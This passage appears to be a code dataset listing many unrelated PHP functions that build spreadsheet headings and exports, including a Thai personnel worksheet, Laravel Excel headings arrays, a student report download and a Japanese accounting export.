1));\n\t\t$worksheet->write($xlsRow, 9, \"(7)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"(8)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"(9)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"(10)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"(11)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"(12)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 17,\"(13)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"(14)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"(15)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"(16)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"(17)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อส่วนราชการ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"เลข\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\",0));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"L\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"พื้นที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"วุฒิการศึกษา/\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"อัตรา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 4, \"ประจำตัว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"เพศ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"เกิด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 7, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 8, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 9, \"บรรจุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 10, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 11, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 12, \"หมวด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 13, \"ชื่อตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 14, \"ชั้น\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 15, \"ตำแหน่ง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 16, \"ส่วนกลาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 17, \"ปฏิบัติงาน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 18, \"ประกาศนียบัตร\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 19, \"เงินเดือน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\n\t\t$worksheet->write($xlsRow, 20, \"ปีที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\t\t$worksheet->write($xlsRow, 21, \"หมายเหตุ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LR\", 0));\t\t\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 1, \"$ORG_TITLE\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"เขต/แขวง/ศูนย์\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 3, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 4, \"ประชาชน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 5, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 6, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 7, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 8, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 9, \"ว\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 10, \"ด\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 11, \"ป\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t\t$worksheet->write($xlsRow, 12, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 13, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 14, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 15, \"เลขที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 16, \"/ภูมิภาค\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelDivisionsHeadings()\n {\n return [\n 'Divisions',\n 'Sub-Divisions',\n ];\n }", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "public static function excelActionsAndStrategiesHeadings()\n {\n return [\n 'Strategies and Actions',\n 'Status',\n 'Responsibility',\n 'Industry',\n ];\n }", "private function generateHeading()\n {\n //get current dimensions\n\t\t$highestRow = $this->objWorksheet->getHighestRow(); // e.g. 10\n\t\t$highestColumn = $this->objWorksheet->getHighestColumn(); // e.g 'F'\n\n\t\t$highestColumnIndex = PHPExcel_Cell::columnIndexFromString($highestColumn);\n\n\t\t//insert row on top\n\t\t$this->objWorksheet->insertNewRowBefore(1,2);\n\n\t\t//merge cells\n\t\t$this->objWorksheet->mergeCells(\"A1:\".$highestColumn.\"1\");\n\n\t\t//set the text for header\n\t\t$this->objWorksheet->setCellValue(\"A1\", $this->_headingText);\n\t\t$this->objWorksheet->getStyle('A1')->getAlignment()->setWrapText(true);\n\t\t$this->objWorksheet->getRowDimension('1')->setRowHeight(48);\n\n //Apply style\n\t\t$this->objWorksheet->getStyle(\"A1\")->applyFromArray($this->_headingStyleArray);\n }", "public static function excelRegionsHeadings()\n {\n return [\n 'Region',\n ];\n }", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function horometersExcel(){ \n return Excel::download(new HorometersExport, 'horometros-list-'.date('Y-m-d_H:i:s').'.xlsx');\n }", "public function headings(): array\n {\n return [\n 'Part Number',\n 'Description',\n 'Quantity',\n 'Date Received',\n// 'Month',\n// 'Year',\n 'Invoice Number',\n 'Vendor',\n 'Unit Price',\n 'Total Price',\n 'Location',\n 'Received By',\n ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public function headings(): array\n\t{\n\t\treturn [\n\t\t\t\t'No',\n\t\t\t\t'Title',\n\t\t\t\t'Price',\n\t\t\t\t'Category',\n\t\t\t\t'Type',\n\t\t\t\t'Post By',\n\t\t\t\t'Province',\n\t\t\t\t'District',\n\t\t\t\t'Commune',\n\t\t\t\t'views',\n\t\t\t\t'Status'\n\t\t];\n }", "public function get_heading() {\n\t\tif ( $this->object['voucher_count'] == 1 ) {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading ), $this->object );\n\t\t} else {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading_multiple ), $this->object );\n\t\t}\n\t}", "public function headings(): array\n {\n return [\n 'Name',\n 'Department',\n 'OT Date',\n 'Shift',\n 'From',\n 'To',\n 'Total Hrs',\n 'Job Content',\n 'Results',\n 'Supervisor',\n 'Manager',\n 'Date Created',\n 'Last Update'\n ];\n }", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals, create_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past\nheader('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified\nheader('Cache-Control: cache, must-revalidate'); // HTTP/1.1\nheader('Pragma: public'); // HTTP/1.0\n\n$writer = IOFactory::createWriter($spreadsheet, 'Xlsx');\n$writer->save('php://output');\nexit;\n}", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "public function getHeading(): string;", "public function headings() {\n\t\t$vals = array_keys(get_object_vars($this));\n\t\treturn( array_reduce($vals,\n\t\t\t\tcreate_function('$a,$b','return is_null($a) ? \"$b\" : \"$a\".\"\\t\".\"$b\";')));\n\t}", "public function headings(): array\n {\n return [\n 'id',\n 'mshp_version_id',\n 'cmr_law_number',\n 'cmr_chapter',\n 'cmr_charge_code_seq',\n 'cmr_charge_code_fingerprintable',\n 'cmr_charge_code_effective_year',\n 'cmr_charge_code_ncic_category',\n 'cmr_charge_code_ncic_modifier',\n 'charge_code',\n 'ncic_mod',\n 'state_mod',\n 'description',\n 'type_class',\n 'dna',\n 'sor',\n 'roc',\n 'case_type',\n 'effective_date',\n ];\n }", "public function industryList()\n {\n $industry = new Industry();\n\n $output = $industry::all();\n\n return $output;\n\n }", "protected function getHeadRowValues() \n {\n return array(\n\t\t 'Order Number',\n\t\t 'Order Date',\n\t\t \t/*'Month',*/\n 'Bill to name',\n\t\t\t'Ship to Name',\n\t\t\t'Order Location',\n\t\t\t'Zone',\n\t\t\t'Region',\n\t\t\t'Pincode #',\n\t\t\t'Payment Type',\n\t\t\t'Status',\n \t'Category',\n\t\t\t'Brand',\n\t\t\t'Stock Number',\n 'Sku_name',\n /*'MRP',*/\n\t\t\t'Weight',\n\t\t\t'Order Quantity',\n\t\t\t'Shipping Quantity',\n\t\t\t/*'BSP',*/\n\t\t\t'Invoice Id',\n\t\t\t'Invoice Date',\n\t\t\t/*'Method',*/\n\t\t\t'Original MRP',\n\t\t\t'MRP',\n\t\t\t'Discount_Amount',\n\t\t\t'Basic Sale',\n\t\t\t'TAX Amt',\n\t\t\t'Bill Value',\n\t\t\t'Coupon_Code',\n\t\t\t'Coupon Amt',\n\t\t\t'Formula',\n\t\t\t'Tax %',\n\t\t\t'Tax Type',\n\t\t\t'Courier',\n\t\t\t'AWB No',\n\t\t\t/*'Tax Amount',*/\n\t\t\t\t\t\t\n\t\t);\n }", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "public function getSeriesTitle() {\n $elements = $this->_getDetails();\n $display_version = variable_get('ting_search_openformat', 'bibliotekdkWorkDisplay');\n $fields = ($display_version === 'bibdkWorkDisplay') ?\n array(\n 'seriesTitle' => array(\n 'series' => array(\n 'seriesHeader' => 'seriesDescription',\n 'titles' => array('searchCode')\n )\n )\n ) :\n array(\n 'seriesTitle' => array(\n 'seriesHeader' => 'header',\n 'series' => array('searchCode'),\n 'seriesNumber'\n )\n );\n return TingOpenformatMethods::parseFields($elements, $fields);\n }", "public function action_export_obic(){\n\t\t$objPHPExcel = new \\PHPExcel();\n\t\t//add header\n $header = [\n '会社NO', '伝票番号', '発生日', 'システム分類', 'サイト番号', '仕訳区分', '伝票区分', '事業所コード', '行番号', '借方総勘定科目コード',\n '借方補助科目コード', '借方補助内訳科目コード', '借方部門コード', '借方取引先コード', '借方税区分', '借方税込区分',\n '借方金額', '借方消費税額', '借方消費税本体科目コード', '借方分析コード1', '借方分析コード2', '借方分析コード3', '借方分析コード4', '借方分析コード5',\n '借方資金コード', '借方プロジェクトコード', '貸方総勘定科目コード', '貸方補助科目コード', '貸方補助内訳科目コード', '貸方部門コード',\n '貸方取引先コード', '貸方税区分', '貸方税込区分', '貸方金額', '貸方消費税額', '貸方消費税本体科目コード',\n '貸方分析コード1', '貸方分析コード2', '貸方分析コード3', '貸方分析コード4', '貸方分析コード5', '貸方資金コード',\n '貸方プロジェクトコード', '明細摘要', '伝票摘要', 'ユーザID', '借方事業所コード', '貸方事業所コード'\n ];\n\n $objPHPExcel->getProperties()->setCreator('VisionVietnam')\n ->setLastModifiedBy('Phong Phu')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('OBIC File');\n $last_column = null;\n $explicit = [7,8,10,11,12,13,15,16,27,28,29,30,32];\n\n foreach($header as $i=>$v){\n\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n\t\t\t$objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($column.'1')\n\t\t\t\t\t\t->applyFromArray([\n\t\t\t\t\t\t 'font' => [\n\t\t\t\t\t\t 'name' => 'Times New Roman',\n\t\t\t\t\t\t 'bold' => true,\n\t\t\t\t\t\t 'italic' => false,\n\t\t\t\t\t\t 'size' => 10,\n\t\t\t\t\t\t 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n\t\t\t\t\t\t ],\n\t\t\t\t\t\t 'alignment' => [\n\t\t\t\t\t\t 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n\t\t\t\t\t\t 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t 'wrap' => false\n\t\t\t\t\t\t ]\n\t\t\t\t\t\t]);\n switch($i+1){\n case 4:\n case 15:\n case 16:\n case 18:\n $width = 20;\n break;\n case 13:\n case 14:\n case 20:\n case 21:\n case 22:\n case 23:\n case 24:\n case 25:\n case 30:\n case 31:\n $width = 25;\n break;\n case 10:\n case 11:\n case 12:\n case 19:\n case 26:\n case 27:\n case 28:\n $width = 30;\n break;\n case 29:\n case 44:\n case 45:\n $width = 40;\n break;\n default:\n $width = 15;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n //decode params\n $param = \\Input::param();\n parse_str(base64_decode($param['p']), $params);\n //get form payment content\n $rows = $this->generate_content($params);\n $i = 0;\n foreach($rows as $row){\n\t\t\tforeach($row as $k=>$v){\n\t\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($k);\n\t\t\t\tif(in_array($k+1,$explicit)){\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValueExplicit($column.($i+2),$v,\\PHPExcel_Cell_DataType::TYPE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValue($column.($i+2),$v);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->getStartColor()->setRGB('5f5f5f');\n\n\t\t$objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\tob_end_clean();\n\n\t\theader(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"obic-'.date('Y-m-d').'.xls\"');\n $objWriter->save('php://output');\n\t\texit;\n }", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public function getGridHeadings() {\n return [ StringLiterals::GRIDHEADING => [ [ 'name' => trans ( 'cms::latestnews.title' ),StringLiterals::VALUE => 'name','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_creator' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.post_image' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.created_at' ),StringLiterals::VALUE => '','sort' => false ],[ 'name' => trans ( 'cms::latestnews.status' ),StringLiterals::VALUE => 'is_active','sort' => false ],[ 'name' => trans ( 'cms::latestnews.action' ),StringLiterals::VALUE => 'is_active','sort' => false ] ] ];\n }", "public function headings(): array\n {\n return [\n 'Name',\n 'Developer Name',\n 'Status',\n 'Description',\n 'Created At',\n ];\n }", "public function getIndustryFormatAttribute()\n {\n return $this->industry;\n }", "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nOrganizational Units\nMAINHEADING;\n }", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 